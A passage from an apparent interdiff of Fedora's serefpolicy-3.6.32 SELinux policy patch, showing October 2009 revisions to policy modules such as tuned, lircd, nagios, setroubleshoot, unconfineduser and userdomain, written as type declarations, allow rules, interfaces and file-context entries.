  ##	Read all tmp files.
  ## </summary>
  ## <param name="domain">
-@@ -3515,6 +3600,8 @@
+@@ -3515,6 +3626,8 @@
  	delete_lnk_files_pattern($1, tmpfile, tmpfile)
  	delete_fifo_files_pattern($1, tmpfile, tmpfile)
  	delete_sock_files_pattern($1, tmpfile, tmpfile)
@@ -6713,7 +6759,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -3623,7 +3710,12 @@
+@@ -3623,7 +3736,12 @@
  		type usr_t;
  	')
  
@@ -6727,7 +6773,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -3662,6 +3754,7 @@
+@@ -3662,6 +3780,7 @@
  	allow $1 usr_t:dir list_dir_perms;
  	read_files_pattern($1, usr_t, usr_t)
  	read_lnk_files_pattern($1, usr_t, usr_t)
@@ -6735,7 +6781,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -4188,6 +4281,24 @@
+@@ -4188,6 +4307,24 @@
  
  ########################################
  ## <summary>
@@ -6760,7 +6806,7 @@ diff -b -B --ignore-all-space --exclude-
  ##	Search the /var/lib directory.
  ## </summary>
  ## <param name="domain">
-@@ -4955,7 +5066,7 @@
+@@ -4955,7 +5092,7 @@
  	selinux_compute_member($1)
  
  	# Need sys_admin capability for mounting
@@ -6769,7 +6815,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	# Need to give access to the directories to be polyinstantiated
  	allow $1 polydir:dir { create open getattr search write add_name setattr mounton rmdir };
-@@ -4977,12 +5088,15 @@
+@@ -4977,12 +5114,15 @@
  	allow $1 poly_t:dir { create mounton };
  	fs_unmount_xattr_fs($1)
  
@@ -6786,7 +6832,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -5003,3 +5117,173 @@
+@@ -5003,3 +5143,173 @@
  
  	typeattribute $1 files_unconfined_type;
  ')
@@ -8804,8 +8850,8 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/roles/unconfineduser.te serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te
 --- nsaserefpolicy/policy/modules/roles/unconfineduser.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te	2009-10-22 14:38:40.000000000 -0400
-@@ -0,0 +1,411 @@
++++ serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te	2009-10-23 08:59:33.000000000 -0400
+@@ -0,0 +1,425 @@
 +policy_module(unconfineduser, 1.0.0)
 +
 +########################################
@@ -9027,7 +9073,21 @@ diff -b -B --ignore-all-space --exclude-
 +')
 +
 +optional_policy(`
-+	java_run_unconfined(unconfined_t, unconfined_r)
++	java_role_template(unconfined, unconfined_r, unconfined_t)
++
++	files_execmod_all_files(unconfined_java_t)
++
++	init_dbus_chat_script(unconfined_java_t)
++
++	unconfined_domain_noaudit(unconfined_java_t)
++	unconfined_dbus_chat(unconfined_java_t)
++	optional_policy(`
++		hal_dbus_chat(unconfined_java_t)
++	')
++
++	optional_policy(`
++		rpm_domtrans(unconfined_java_t)
++	')
 +')
 +
 +optional_policy(`
@@ -9623,7 +9683,7 @@ diff -b -B --ignore-all-space --exclude-
 +/var/run/cman_.*                       -s      gen_context(system_u:object_r:aisexec_var_run_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/aisexec.if serefpolicy-3.6.32/policy/modules/services/aisexec.if
 --- nsaserefpolicy/policy/modules/services/aisexec.if	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/services/aisexec.if	2009-10-21 07:51:25.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/aisexec.if	2009-10-23 09:31:29.000000000 -0400
 @@ -0,0 +1,106 @@
 +## <summary>SELinux policy for Aisexec Cluster Engine</summary>
 +
@@ -9861,7 +9921,7 @@ diff -b -B --ignore-all-space --exclude-
  
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/apache.fc serefpolicy-3.6.32/policy/modules/services/apache.fc
 --- nsaserefpolicy/policy/modules/services/apache.fc	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/apache.fc	2009-10-01 08:26:33.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/apache.fc	2009-10-23 08:20:45.000000000 -0400
 @@ -1,12 +1,13 @@
 -HOME_DIR/((www)|(web)|(public_html))(/.+)? gen_context(system_u:object_r:httpd_user_content_t,s0)
 +HOME_DIR/((www)|(web)|(public_html)|(public_git))(/.+)? gen_context(system_u:object_r:httpd_user_content_t,s0)
@@ -9925,7 +9985,7 @@ diff -b -B --ignore-all-space --exclude-
  /var/log/apache(2)?(/.*)?		gen_context(system_u:object_r:httpd_log_t,s0)
  /var/log/apache-ssl(2)?(/.*)?		gen_context(system_u:object_r:httpd_log_t,s0)
  /var/log/cacti(/.*)?			gen_context(system_u:object_r:httpd_log_t,s0)
-@@ -64,11 +75,30 @@
+@@ -64,11 +75,33 @@
  /var/run/apache.*			gen_context(system_u:object_r:httpd_var_run_t,s0)
  /var/run/gcache_port		-s	gen_context(system_u:object_r:httpd_var_run_t,s0)
  /var/run/httpd.*			gen_context(system_u:object_r:httpd_var_run_t,s0)
@@ -9950,6 +10010,8 @@ diff -b -B --ignore-all-space --exclude-
 +/var/lib/bugzilla(/.*)?			gen_context(system_u:object_r:httpd_bugzilla_content_rw_t,s0)
 +/var/www/html/[^/]*/cgi-bin(/.*)?	gen_context(system_u:object_r:httpd_sys_script_exec_t,s0)
 +
++/var/www/html/configuration\.php 	gen_context(system_u:object_r:httpd_sys_content_rw_t,s0)
++
 +/var/www/gallery/albums(/.*)?		gen_context(system_u:object_r:httpd_sys_content_rw_t,s0)
 +
 +/var/lib/rt3/data/RT-Shredder(/.*)?	gen_context(system_u:object_r:httpd_var_lib_t,s0)
@@ -9957,6 +10019,7 @@ diff -b -B --ignore-all-space --exclude-
 +/var/www/svn(/.*)?			gen_context(system_u:object_r:httpd_sys_content_rw_t,s0)
 +/var/www/svn/hooks(/.*)?		gen_context(system_u:object_r:httpd_sys_script_exec_t,s0)
 +/var/www/svn/conf(/.*)?			gen_context(system_u:object_r:httpd_sys_content_t,s0)
++
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/apache.if serefpolicy-3.6.32/policy/modules/services/apache.if
 --- nsaserefpolicy/policy/modules/services/apache.if	2009-07-28 15:51:13.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/services/apache.if	2009-10-21 11:09:04.000000000 -0400
@@ -14795,21 +14858,73 @@ diff -b -B --ignore-all-space --exclude-
  
  /var/run/lircd\.pid		gen_context(system_u:object_r:lircd_var_run_t,s0)
 +/var/run/lircd(/.*)?		gen_context(system_u:object_r:lircd_var_run_t,s0)
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/lircd.if serefpolicy-3.6.32/policy/modules/services/lircd.if
+--- nsaserefpolicy/policy/modules/services/lircd.if	2009-07-14 14:19:57.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/lircd.if	2009-10-23 09:32:21.000000000 -0400
+@@ -32,12 +32,11 @@
+ #
+ interface(`lircd_stream_connect',`
+ 	gen_require(`
+-		type lircd_sock_t, lircd_t;
++		 type lircd_var_run_t, lircd_t;
+ 	')
+ 
+-	allow $1 lircd_t:unix_stream_socket connectto;
+-	allow $1 lircd_sock_t:sock_file write_sock_file_perms;
+ 	files_search_pids($1)
++        stream_connect_pattern($1, lircd_var_run_t, lircd_var_run_t, lircd_t)
+ ')
+ 
+ #######################################
+@@ -77,7 +76,7 @@
+ #
+ interface(`lircd_admin',`
+ 	gen_require(`
+-		type lircd_t, lircd_var_run_t, lircd_sock_t;
++		type lircd_t, lircd_var_run_t;
+ 		type lircd_initrc_exec_t, lircd_etc_t;
+ 	')
+ 
+@@ -94,6 +93,4 @@
+ 
+ 	files_search_pids($1)
+ 	admin_pattern($1, lircd_var_run_t)
+-
+-	admin_pattern($1, lircd_sock_t)
+ ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/lircd.te serefpolicy-3.6.32/policy/modules/services/lircd.te
 --- nsaserefpolicy/policy/modules/services/lircd.te	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/lircd.te	2009-10-19 09:14:01.000000000 -0400
-@@ -37,12 +37,24 @@
- # pid file
++++ serefpolicy-3.6.32/policy/modules/services/lircd.te	2009-10-23 09:34:30.000000000 -0400
+@@ -16,13 +16,9 @@
+ type lircd_etc_t;
+ files_type(lircd_etc_t)
+ 
+-type lircd_var_run_t;
++type lircd_var_run_t alias lircd_sock_t;
+ files_pid_file(lircd_var_run_t)
+ 
+-# type for lircd /dev/ sock file
+-type lircd_sock_t;
+-files_type(lircd_sock_t)
+-
+ ########################################
+ #
+ # lircd local policy
+@@ -34,15 +30,24 @@
+ # etc file
+ read_files_pattern(lircd_t, lircd_etc_t, lircd_etc_t)
+ 
+-# pid file
  manage_dirs_pattern(lircd_t, lircd_var_run_t, lircd_var_run_t)
  manage_files_pattern(lircd_t, lircd_var_run_t, lircd_var_run_t)
 +manage_sock_files_pattern(lircd_t, lircd_var_run_t, lircd_var_run_t)
  files_pid_filetrans(lircd_t, lircd_var_run_t, { dir file })
  
  # /dev/lircd socket
- manage_sock_files_pattern(lircd_t, lircd_sock_t, lircd_sock_t)
- dev_filetrans(lircd_t, lircd_sock_t, sock_file )
+-manage_sock_files_pattern(lircd_t, lircd_sock_t, lircd_sock_t)
+-dev_filetrans(lircd_t, lircd_sock_t, sock_file )
++dev_filetrans(lircd_t, lircd_var_run_t, sock_file )
 +dev_read_generic_usb_dev(lircd_t)
-+
 +dev_filetrans_lirc(lircd_t)
 +dev_rw_lirc(lircd_t)
 +dev_rw_input_dev(lircd_t)
@@ -15094,20 +15209,23 @@ diff -b -B --ignore-all-space --exclude-
  mysql_write_log(mysqld_safe_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/nagios.fc serefpolicy-3.6.32/policy/modules/services/nagios.fc
 --- nsaserefpolicy/policy/modules/services/nagios.fc	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/nagios.fc	2009-09-30 16:12:48.000000000 -0400
-@@ -1,16 +1,21 @@
++++ serefpolicy-3.6.32/policy/modules/services/nagios.fc	2009-10-23 08:00:38.000000000 -0400
+@@ -1,16 +1,22 @@
  /etc/nagios(/.*)?			gen_context(system_u:object_r:nagios_etc_t,s0)
  /etc/nagios/nrpe\.cfg		--	gen_context(system_u:object_r:nrpe_etc_t,s0)
 +/etc/rc\.d/init\.d/nagios	--	gen_context(system_u:object_r:nagios_initrc_exec_t,s0)
 +/etc/rc\.d/init\.d/nrpe	--	gen_context(system_u:object_r:nagios_initrc_exec_t,s0)
  
- /usr/bin/nagios			--	gen_context(system_u:object_r:nagios_exec_t,s0)
- /usr/bin/nrpe			--	gen_context(system_u:object_r:nrpe_exec_t,s0)
+-/usr/bin/nagios			--	gen_context(system_u:object_r:nagios_exec_t,s0)
+-/usr/bin/nrpe			--	gen_context(system_u:object_r:nrpe_exec_t,s0)
++/usr/s?bin/nagios		--	gen_context(system_u:object_r:nagios_exec_t,s0)
++/usr/s?bin/nrpe			--	gen_context(system_u:object_r:nrpe_exec_t,s0)
  
 -/usr/lib(64)?/cgi-bin/netsaint/.+ --	gen_context(system_u:object_r:nagios_cgi_exec_t,s0)
 -/usr/lib(64)?/nagios/cgi/.+	--	gen_context(system_u:object_r:nagios_cgi_exec_t,s0)
 +/usr/lib(64)?/cgi-bin/netsaint(/.*)?	gen_context(system_u:object_r:httpd_nagios_script_exec_t,s0)
 +/usr/lib(64)?/nagios/cgi(/.*)?		gen_context(system_u:object_r:httpd_nagios_script_exec_t,s0)
++#/usr/lib(64)?/nagios/plugins(/.*)?	gen_context(system_u:object_r:nagios_plugin_exec_t,s0)
  
  /var/log/nagios(/.*)?			gen_context(system_u:object_r:nagios_log_t,s0)
  /var/log/netsaint(/.*)?			gen_context(system_u:object_r:nagios_log_t,s0)
@@ -15224,7 +15342,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/nagios.te serefpolicy-3.6.32/policy/modules/services/nagios.te
 --- nsaserefpolicy/policy/modules/services/nagios.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/nagios.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/nagios.te	2009-10-23 09:18:37.000000000 -0400
 @@ -10,13 +10,12 @@
  type nagios_exec_t;
  init_daemon_domain(nagios_t, nagios_exec_t)
@@ -15252,7 +15370,17 @@ diff -b -B --ignore-all-space --exclude-
  type nrpe_t;
  type nrpe_exec_t;
  init_daemon_domain(nrpe_t, nrpe_exec_t)
-@@ -60,6 +62,8 @@
+@@ -33,6 +35,9 @@
+ type nrpe_etc_t;
+ files_config_file(nrpe_etc_t)
+ 
++type nrpe_var_run_t;
++files_pid_file(nrpe_var_run_t)
++
+ ########################################
+ #
+ # Nagios local policy
+@@ -60,6 +65,8 @@
  manage_files_pattern(nagios_t, nagios_var_run_t, nagios_var_run_t)
  files_pid_filetrans(nagios_t, nagios_var_run_t, file)
  
@@ -15261,7 +15389,7 @@ diff -b -B --ignore-all-space --exclude-
  kernel_read_system_state(nagios_t)
  kernel_read_kernel_sysctls(nagios_t)
  
-@@ -127,39 +131,34 @@
+@@ -127,52 +134,57 @@
  #
  # Nagios CGI local policy
  #
@@ -15271,46 +15399,46 @@ diff -b -B --ignore-all-space --exclude-
  
 -allow nagios_cgi_t self:process signal_perms;
 -allow nagios_cgi_t self:fifo_file rw_fifo_file_perms;
-+allow httpd_nagios_script_t self:process signal_perms;
- 
+-
 -read_files_pattern(nagios_cgi_t, nagios_t, nagios_t)
 -read_lnk_files_pattern(nagios_cgi_t, nagios_t, nagios_t)
-+read_files_pattern(httpd_nagios_script_t, nagios_t, nagios_t)
-+read_lnk_files_pattern(httpd_nagios_script_t, nagios_t, nagios_t)
++allow httpd_nagios_script_t self:process signal_perms;
  
 -allow nagios_cgi_t nagios_etc_t:dir list_dir_perms;
 -read_files_pattern(nagios_cgi_t, nagios_etc_t, nagios_etc_t)
 -read_lnk_files_pattern(nagios_cgi_t, nagios_etc_t, nagios_etc_t)
-+files_search_spool(httpd_nagios_script_t)
-+rw_fifo_files_pattern(httpd_nagios_script_t, nagios_spool_t, nagios_spool_t)
++read_files_pattern(httpd_nagios_script_t, nagios_t, nagios_t)
++read_lnk_files_pattern(httpd_nagios_script_t, nagios_t, nagios_t)
  
 -allow nagios_cgi_t nagios_log_t:dir list_dir_perms;
 -read_files_pattern(nagios_cgi_t, nagios_etc_t, nagios_log_t)
 -read_lnk_files_pattern(nagios_cgi_t, nagios_etc_t, nagios_log_t)
++files_search_spool(httpd_nagios_script_t)
++rw_fifo_files_pattern(httpd_nagios_script_t, nagios_spool_t, nagios_spool_t)
+ 
+-kernel_read_system_state(nagios_cgi_t)
 +allow httpd_nagios_script_t nagios_etc_t:dir list_dir_perms;
 +read_files_pattern(httpd_nagios_script_t, nagios_etc_t, nagios_etc_t)
 +read_lnk_files_pattern(httpd_nagios_script_t, nagios_etc_t, nagios_etc_t)
  
--kernel_read_system_state(nagios_cgi_t)
+-corecmd_exec_bin(nagios_cgi_t)
 +allow httpd_nagios_script_t nagios_log_t:dir list_dir_perms;
 +read_files_pattern(httpd_nagios_script_t, nagios_etc_t, nagios_log_t)
 +read_lnk_files_pattern(httpd_nagios_script_t, nagios_etc_t, nagios_log_t)
  
--corecmd_exec_bin(nagios_cgi_t)
-+kernel_read_system_state(httpd_nagios_script_t)
- 
 -domain_dontaudit_read_all_domains_state(nagios_cgi_t)
-+domain_dontaudit_read_all_domains_state(httpd_nagios_script_t)
++kernel_read_system_state(httpd_nagios_script_t)
  
 -files_read_etc_files(nagios_cgi_t)
 -files_read_etc_runtime_files(nagios_cgi_t)
 -files_read_kernel_symbol_table(nagios_cgi_t)
-+files_read_etc_runtime_files(httpd_nagios_script_t)
-+files_read_kernel_symbol_table(httpd_nagios_script_t)
++domain_dontaudit_read_all_domains_state(httpd_nagios_script_t)
  
 -logging_send_syslog_msg(nagios_cgi_t)
 -logging_search_logs(nagios_cgi_t)
--
++files_read_etc_runtime_files(httpd_nagios_script_t)
++files_read_kernel_symbol_table(httpd_nagios_script_t)
+ 
 -miscfiles_read_localization(nagios_cgi_t)
 -
 -optional_policy(`
@@ -15320,6 +15448,39 @@ diff -b -B --ignore-all-space --exclude-
  
  ########################################
  #
+ # Nagios remote plugin executor local policy
+ #
+ 
++allow nrpe_t self:capability {setuid setgid};
+ dontaudit nrpe_t self:capability sys_tty_config;
+ allow nrpe_t self:process { setpgid signal_perms };
+ allow nrpe_t self:fifo_file rw_fifo_file_perms;
++allow nrpe_t self:tcp_socket create_stream_socket_perms;
+ 
+-allow nrpe_t nrpe_etc_t:file read_file_perms;
++read_files_pattern(nrpe_t, nagios_etc_t, nagios_etc_t)
+ files_search_etc(nrpe_t)
+ 
++manage_files_pattern(nrpe_t, nrpe_var_run_t, nrpe_var_run_t)
++files_pid_filetrans(nrpe_t,nrpe_var_run_t,file)
++files_read_etc_files(nrpe_t)
++
++corenet_tcp_bind_generic_node(nrpe_t)
++corenet_tcp_bind_inetd_child_port(nrpe_t)
++corenet_sendrecv_unlabeled_packets(nrpe_t)
++
+ kernel_read_system_state(nrpe_t)
+ kernel_read_kernel_sysctls(nrpe_t)
+ 
+@@ -192,6 +204,8 @@
+ 
+ miscfiles_read_localization(nrpe_t)
+ 
++sysnet_read_config(nrpe_t)
++
+ userdom_dontaudit_use_unpriv_user_fds(nrpe_t)
+ 
+ optional_policy(`
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/networkmanager.fc serefpolicy-3.6.32/policy/modules/services/networkmanager.fc
 --- nsaserefpolicy/policy/modules/services/networkmanager.fc	2009-07-14 14:19:57.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/services/networkmanager.fc	2009-09-30 16:12:48.000000000 -0400
@@ -20486,7 +20647,7 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/share/setroubleshoot/SetroubleshootFixit\.py* 	--	gen_context(system_u:object_r:setroubleshoot_fixit_exec_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/setroubleshoot.if serefpolicy-3.6.32/policy/modules/services/setroubleshoot.if
 --- nsaserefpolicy/policy/modules/services/setroubleshoot.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/setroubleshoot.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/setroubleshoot.if	2009-10-22 15:56:48.000000000 -0400
 @@ -16,8 +16,8 @@
  	')
  
@@ -20498,7 +20659,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -36,6 +36,102 @@
+@@ -36,6 +36,123 @@
  		type setroubleshootd_t, setroubleshoot_var_run_t;
  	')
  
@@ -20530,6 +20691,27 @@ diff -b -B --ignore-all-space --exclude-
 +
 +########################################
 +## <summary>
++##	dontaudit send and receive messages from
++##	setroubleshoot over dbus.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++#
++interface(`setroubleshoot_dontaudit_dbus_chat',`
++	gen_require(`
++		type setroubleshootd_t;
++		class dbus send_msg;
++	')
++
++	dontaudit $1 setroubleshootd_t:dbus send_msg;
++	dontaudit setroubleshootd_t $1:dbus send_msg;
++')
++
++########################################
++## <summary>
 +##	Send and receive messages from
 +##	setroubleshoot over dbus.
 +## </summary>
@@ -22043,6 +22225,219 @@ diff -b -B --ignore-all-space --exclude-
  
 -/var/lib/tftpboot(/.*)?		gen_context(system_u:object_r:tftpdir_t,s0)
 +/var/lib/tftpboot(/.*)?		gen_context(system_u:object_r:tftpdir_rw_t,s0)
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/tuned.fc serefpolicy-3.6.32/policy/modules/services/tuned.fc
+--- nsaserefpolicy/policy/modules/services/tuned.fc	1969-12-31 19:00:00.000000000 -0500
++++ serefpolicy-3.6.32/policy/modules/services/tuned.fc	2009-10-23 09:38:54.000000000 -0400
+@@ -0,0 +1,6 @@
++
++/etc/rc\.d/init\.d/tuned	--	gen_context(system_u:object_r:tuned_initrc_exec_t,s0)
++
++/usr/sbin/tuned			--	gen_context(system_u:object_r:tuned_exec_t,s0)
++
++/var/run/tuned\.pid		--	gen_context(system_u:object_r:tuned_var_run_t,s0)
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/tuned.if serefpolicy-3.6.32/policy/modules/services/tuned.if
+--- nsaserefpolicy/policy/modules/services/tuned.if	1969-12-31 19:00:00.000000000 -0500
++++ serefpolicy-3.6.32/policy/modules/services/tuned.if	2009-10-23 09:38:54.000000000 -0400
+@@ -0,0 +1,136 @@
++
++## <summary>policy for tuned - dynamic adaptive system tuning daemon</summary>
++
++########################################
++## <summary>
++##	Execute a domain transition to run tuned.
++## </summary>
++## <param name="domain">
++## <summary>
++##	Domain allowed to transition.
++## </summary>
++## </param>
++#
++interface(`tuned_domtrans',`
++	gen_require(`
++		type tuned_t, tuned_exec_t;
++	')
++
++	domtrans_pattern($1,tuned_exec_t,tuned_t)
++')
++
++#######################################
++## <summary>
++##      Execute tuned in the caller domain.
++## </summary>
++## <param name="domain">
++##      <summary>
++##      Domain allowed access.
++##      </summary>
++## </param>
++#
++interface(`tuned_exec',`
++        gen_require(`
++                type tuned_exec_t;
++        ')
++
++        corecmd_search_bin($1)
++        can_exec($1, tuned_exec_t)
++')
++
++######################################
++## <summary>
++##      Read tuned PID files.
++## </summary>
++## <param name="domain">
++##      <summary>
++##      Domain allowed access.
++##      </summary>
++## </param>
++#
++interface(`tuned_read_pid_files',`
++        gen_require(`
++                type tuned_var_run_t;
++        ')
++
++        files_search_pids($1)
++        read_files_pattern($1, tuned_var_run_t, tuned_var_run_t)
++')
++
++#######################################
++## <summary>
++##      Manage tuned PID files.
++## </summary>
++## <param name="domain">
++##      <summary>
++##      Domain allowed access.
++##      </summary>
++## </param>
++#
++interface(`tuned_manage_pid_files',`
++        gen_require(`
++                type tuned_var_run_t;
++        ')
++
++        files_search_pids($1)
++        manage_files_pattern($1, tuned_var_run_t, tuned_var_run_t)
++')
++
++########################################
++## <summary>
++##	Execute tuned server in the tuned domain.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	The type of the process performing this action.
++##	</summary>
++## </param>
++#
++interface(`tuned_initrc_domtrans',`
++	gen_require(`
++		type tuned_initrc_exec_t;
++	')
++
++	init_labeled_script_domtrans($1,tuned_initrc_exec_t)
++')
++
++########################################
++## <summary>
++##	All of the rules required to administrate 
++##	an tuned environment
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++## <param name="role">
++##	<summary>
++##	Role allowed access.
++##	</summary>
++## </param>
++## <rolecap/>
++#
++interface(`tuned_admin',`
++	gen_require(`
++		type tuned_t, tuned_var_run_t;
++	')
++
++	allow $1 tuned_t:process { ptrace signal_perms getattr };
++	read_files_pattern($1, tuned_t, tuned_t)
++	        
++
++	gen_require(`
++		type tuned_initrc_exec_t;
++	')
++
++	tuned_initrc_domtrans($1)
++	domain_system_change_exemption($1)
++	role_transition $2 tuned_initrc_exec_t system_r;
++	allow $2 system_r;
++
++	files_search_pids($1)
++        admin_pattern($1, tuned_var_run_t)
++
++')
++
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/tuned.te serefpolicy-3.6.32/policy/modules/services/tuned.te
+--- nsaserefpolicy/policy/modules/services/tuned.te	1969-12-31 19:00:00.000000000 -0500
++++ serefpolicy-3.6.32/policy/modules/services/tuned.te	2009-10-23 09:38:54.000000000 -0400
+@@ -0,0 +1,59 @@
++
++policy_module(tuned,1.0.0)
++
++########################################
++#
++# Declarations
++#
++
++type tuned_t;
++type tuned_exec_t;
++init_daemon_domain(tuned_t, tuned_exec_t)
++
++type tuned_initrc_exec_t;
++init_script_file(tuned_initrc_exec_t)
++
++type tuned_var_run_t;
++files_pid_file(tuned_var_run_t)
++
++permissive tuned_t;
++
++########################################
++#
++# tuned local policy
++#
++
++dontaudit tuned_t self:capability { dac_override };
++
++manage_files_pattern(tuned_t, tuned_var_run_t, tuned_var_run_t)
++files_pid_filetrans(tuned_t, tuned_var_run_t, { file })
++
++corecmd_exec_shell(tuned_t)
++
++kernel_read_system_state(tuned_t)
++kernel_read_network_state(tuned_t)
++
++dev_read_sysfs(tuned_t)
++
++# to allow cpu tuning
++dev_rw_netcontrol(tuned_t)
++
++files_read_etc_files(tuned_t)
++files_read_usr_files(tuned_t)
++
++files_dontaudit_search_home(tuned_t)
++
++userdom_dontaudit_search_user_home_dirs(tuned_t)
++
++miscfiles_read_localization(tuned_t)
++
++# to allow disk tuning
++optional_policy(`
++	fstools_domtrans(tuned_t)
++')
++
++# to allow network interface tuning
++optional_policy(`
++	sysnet_domtrans_ifconfig(tuned_t)
++')
++
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/uucp.te serefpolicy-3.6.32/policy/modules/services/uucp.te
 --- nsaserefpolicy/policy/modules/services/uucp.te	2009-08-14 16:14:31.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/services/uucp.te	2009-09-30 16:12:48.000000000 -0400
@@ -29825,7 +30220,7 @@ diff -b -B --ignore-all-space --exclude-
 +HOME_DIR/\.gvfs(/.*)?	<<none>>
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/userdomain.if serefpolicy-3.6.32/policy/modules/system/userdomain.if
 --- nsaserefpolicy/policy/modules/system/userdomain.if	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-22 13:55:01.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-23 09:13:02.000000000 -0400
 @@ -30,8 +30,9 @@
  	')
  
@@ -30195,7 +30590,7 @@ diff -b -B --ignore-all-space --exclude-
  ## </summary>
  ## <param name="userdomain_prefix">
  ##	<summary>
-@@ -420,35 +414,54 @@
+@@ -420,35 +414,58 @@
  ##	is the prefix for user_t).
  ##	</summary>
  ## </param>
@@ -30251,6 +30646,10 @@ diff -b -B --ignore-all-space --exclude-
 -	xserver_dontaudit_write_log($1_t)
 -	xserver_stream_connect_xdm($1_t)
 +	optional_policy(`
++		setroubleshoot_dontaudit_dbus_chat($1)
++	')
++
++	optional_policy(`
 +		xserver_user_client($1, user_tmpfs_t)
 +		xserver_xsession_entry_type($1)
 +		xserver_dontaudit_write_log($1)
@@ -30269,7 +30668,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  #######################################
-@@ -498,7 +511,7 @@
+@@ -498,7 +515,7 @@
  		attribute unpriv_userdomain;
  	')
  
@@ -30278,7 +30677,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	##############################
  	#
-@@ -508,182 +521,213 @@
+@@ -508,182 +525,213 @@
  	# evolution and gnome-session try to create a netlink socket
  	dontaudit $1_t self:netlink_socket { create ioctl read getattr write setattr append bind connect getopt setopt shutdown };
  	dontaudit $1_t self:netlink_route_socket { create ioctl read getattr write setattr append bind connect getopt setopt shutdown nlmsg_read nlmsg_write };
@@ -30299,27 +30698,27 @@ diff -b -B --ignore-all-space --exclude-
 +	kernel_get_sysvipc_info($1_usertype)
  	# Find CDROM devices:
 -	kernel_read_device_sysctls($1_t)
+-
+-	corecmd_exec_bin($1_t)
 +	kernel_read_device_sysctls($1_usertype)
 +	kernel_request_load_module($1_usertype)
  
--	corecmd_exec_bin($1_t)
+-	corenet_udp_bind_generic_node($1_t)
+-	corenet_udp_bind_generic_port($1_t)
 +	corenet_udp_bind_generic_node($1_usertype)
 +	corenet_udp_bind_generic_port($1_usertype)
  
--	corenet_udp_bind_generic_node($1_t)
--	corenet_udp_bind_generic_port($1_t)
+-	dev_read_rand($1_t)
+-	dev_write_sound($1_t)
+-	dev_read_sound($1_t)
+-	dev_read_sound_mixer($1_t)
+-	dev_write_sound_mixer($1_t)
 +	dev_read_rand($1_usertype)
 +	dev_write_sound($1_usertype)
 +	dev_read_sound($1_usertype)
 +	dev_read_sound_mixer($1_usertype)
 +	dev_write_sound_mixer($1_usertype)
  
--	dev_read_rand($1_t)
--	dev_write_sound($1_t)
--	dev_read_sound($1_t)
--	dev_read_sound_mixer($1_t)
--	dev_write_sound_mixer($1_t)
--
 -	files_exec_etc_files($1_t)
 -	files_search_locks($1_t)
 +	files_exec_etc_files($1_usertype)
@@ -30395,37 +30794,37 @@ diff -b -B --ignore-all-space --exclude-
 +
 +	optional_policy(`
 +		alsa_read_rw_config($1_usertype)
-+	')
-+
-+	optional_policy(`
-+		# Allow graphical boot to check battery lifespan
-+		apm_stream_connect($1_usertype)
  	')
  
 -	tunable_policy(`user_ttyfile_stat',`
 -		term_getattr_all_user_ttys($1_t)
 +	optional_policy(`
-+		canna_stream_connect($1_usertype)
++		# Allow graphical boot to check battery lifespan
